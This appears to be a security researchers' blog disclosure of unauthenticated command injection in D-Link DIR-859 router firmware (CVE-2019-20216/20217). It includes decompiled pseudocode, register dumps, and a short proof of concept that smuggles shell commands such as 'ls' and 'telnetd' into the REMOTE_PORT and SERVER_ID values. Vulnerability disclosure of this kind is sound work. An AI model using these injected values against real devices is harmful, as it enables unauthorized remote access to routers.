D-Link DIR-859 — RCE Unauthenticated (CVE-2019–20216 — CVE-2019–20217)

Miguel Méndez Z.
3 min readJan 28, 2020

--

Researchers

  • Miguel Mendez Z. — (s1kr10s)
  • Pablo Pollanco — (secenv)

Technical Details

  • Model : DIR-859
  • Firmware Version: 1.06b01 Beta01, 1.05
  • Architecture: MIPS 32 bit

Vulnerability

The remote code execution vulnerability was found in the ssdpcgi() function, which the vendor had already created a patch to repair the vulnerability. At that time the attack vector was HTTP_ST. Next we will give a description about the new finding.

To start we rewrite (pseudocode) the main function, for a better understanding.

int ssdpcgi_main(int argc) {
char *HTTP_ST;
char *REMOTE_ADDR;
char *REMOTE_PORT;
char *SERVER_ID;

if (argc == 2) {
HTTP_ST = getenv("HTTP_ST");
REMOTE_ADDR = getenv("REMOTE_ADDR");
REMOTE_PORT = getenv("REMOTE_PORT");
SERVER_ID = getenv("SERVER_ID");
if ("SI LAS VARIABLE SON" == 0) {
break;
} else {
// PATCH "strncmp()" THIS FILTERS THE CODE INJECTION
all = strncmp(HTTP_ST,"ssdp:all",8);
if (all == 0) {
format = "%s ssdpall %s:%s %s &";
} else {
uuid = strncmp(HTTP_ST,"uuid:",5);
if (uuid == 0) {
format = "%s uuid %s:%s %s %s &";
} else {
// MORE VALIDATIONS
...
...
...lxmldbc_system(format,"/etc/scripts/upnp/M-SEARCH.sh",REMOTE_ADDR,REMOTE_PORT);
}
}

After analyzing this function we see that the variables REMOTE_PORT and SERVER_ID are passed as arguments to lxmldbc_system(). The problem is that the values of these variables can be controlled by the user. You can see code from the libxmldbc library here.

/* call system() in printf() format. */
int lxmldbc_system(const char * format, …){
char cmd[MAX_CMD_LEN];
va_list marker;
va_start(marker, format);vsnprintf(cmd, sizeof(cmd), format, marker);
va_end(marker);
return
system(cmd);
}

As we can see, these variables are not filtering correctly, so we can control these values or concatenate other values to existing ones, such as; REMOTE_PORT=13;ls and SERVER_ID=1;ls, then these values are stored in a buffer using vsnprintf(), to format the final command.

After returning, the formatted command is stored in a buffer pointed to by the record s0=buffer, which will be an argument for the system (s0) function. The dump (memory) is also shown as is the structure.

Memory value of REMOTE_PORT.

Reg s0: /etc/scripts/upnp/M-SEARCH.sh ssdpall 127.0.0.1:13; 💉 1 &

REMOTE_PORT

Memory value of SERVER_ID.

Reg s0: /etc/scripts/upnp/M-SEARCH.sh ssdpall 127.0.0.1:13 1; 💉 &

SERVER_ID

Exploit PoC

Before proceeding with debugging, we adjust the value of each variable, and include the injection of the command. At the end of the execution we see that the injected commands were executed successfully.

IP="127.0.0.1"
PORT="1337"
METHOD=”M-SEARCH"
URI="/"
REMOTE_PORT="13;ls;"
SERVER_ID="1;telnetd"

REMOTE_PORT

Reg s0:/etc/scripts/upnp/M-SEARCH.sh ssdpall 127.0.0.1:13;ls; 1&

SERVER_ID

Reg s0:/etc/scripts/upnp/M-SEARCH.sh ssdpall 127.0.0.1:13 1;telnetd &

Execution

Link to the advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10147

By3… 👾

--

--